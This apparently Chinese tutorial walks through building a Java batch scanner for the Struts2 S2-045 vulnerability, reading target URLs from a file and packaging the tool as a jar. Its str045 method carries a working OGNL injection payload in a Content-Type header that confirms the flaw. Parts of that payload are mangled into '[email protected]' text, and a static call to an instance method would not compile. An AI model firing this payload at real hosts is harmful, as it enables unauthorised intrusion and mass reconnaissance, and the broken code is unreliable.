java編寫web漏洞掃描系列 二、(案例)Struts2漏洞掃描器
本文是編寫web漏洞掃描器的第二章,將使用一個小案例帶領大家入門一下!
開始,上一節我們說了Java發送GET/POST請求,一級簡單的實現了一個檢測Struts2漏洞的小工具,在本節中,我們將對它進行擴展,增加線程,提高掃描的效率並支持批量掃描!
那麼想要以上一共我們可能會需要幾個方法:
1.檢測漏洞的方法
2.從文本讀取文件的方法
3.一個線程池進行管理
以上三個方法就是我們必須要有的方法,缺的只是在一個主類裏面進行調用這些方法。好的,先把需要用到的方法寫出來!
第一步準備方法
1.文件讀取和漏洞檢測工具類:
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
/**
* 工具類
*
*/
public class Utils {
/**
* 讀取文件
*
* @param filePath 文件路徑
* @return 返回待檢測目標集合
*/
public static List<String> readFile(String filePath) {
List<String> target = new ArrayList<>(); // 待檢測目標
File file = new File(filePath); // 讀取文件File
if (!file.exists() || file.isDirectory()) {
throw new RuntimeException("請檢查文件是否存在或路徑爲文件!");
}
try {
FileReader fileReader = new FileReader(file);
BufferedReader reader = new BufferedReader(fileReader);
String line = null;
while ((line = reader.readLine()) != null) {
target.add(line);
}
} catch (IOException e) {
System.err.println("讀取文件異常!");
// e.printStackTrace();
}
return target;
}
/**
* 漏洞檢測方法
*
* @param target 目標
*
*/
public void str045(String target) {
String payload = "%{(#nikenb='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm))))."
+ "(#[email protected]@getResponse().getWriter()).(#o.println('exist045')).(#o.close())}";
Map<String, String> headers = new HashMap<>();
headers.put("User-Agent",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36");
headers.put("Content-Type", payload);
String postResponseBody = Req.sendPost(target, "", headers); // 請求的方法還是上節課的方法
if (postResponseBody.contains("exist045")) {
System.out.println("[*] exist st2-045: " + target);
}
}
}
接下來我們只差一個夠把上面這些方法組合起來的主類了!
第二步主類完善
import java.util.List;
public class Main {
public static void main(String[] args) {
String filePath = ""; // 文件路徑
List<String> target = Utils.readFile(filePath); // 待掃描目標
for (String t : target) {
Utils.str045(t); // 檢測漏洞
}
}
}
當然我們這樣只能在開發工具中的使用,我們可能希望打包成jar,隨時使用!
那麼我們先改造一下程序主類,讓它能夠接收到參數!
import java.util.List;
public class Main {
public static void main(String[] args) {
if (args.length == 0) {
System.out.println("usage: java -jar struts2Detection.jar --file=target.txt");
return;
}
String filePath = ""; // 文件路徑
for (String string : args) {
int len = string.indexOf("--file=");
if (len > -1) {
filePath = string.substring(len + 7, string.length());
System.out.println("filePath=" + filePath);
break;
}
}
List<String> target = Utils.readFile(filePath); // 待掃描目標
for (String t : target) {
Utils.str045(t); // 檢測漏洞
}
}
}
下面說下導出成jar的過程:
對項目右鍵 - Export - Java - JAR file
然後選擇導出路徑
在經過兩次Next之後,會來到一處讓我們選擇程序入口類,也就是存在Main函數的類,選擇之後點擊Finish即可!
使用過程
好的到這裏這個單線程版本就已經完成,線程版本會在下節裏面講解。
到這裏,大家應該會發現一個問題,就是掃描成功的結果,沒有保存!這裏留給大家自行完成,可以是保存爲txt也好,xml也行!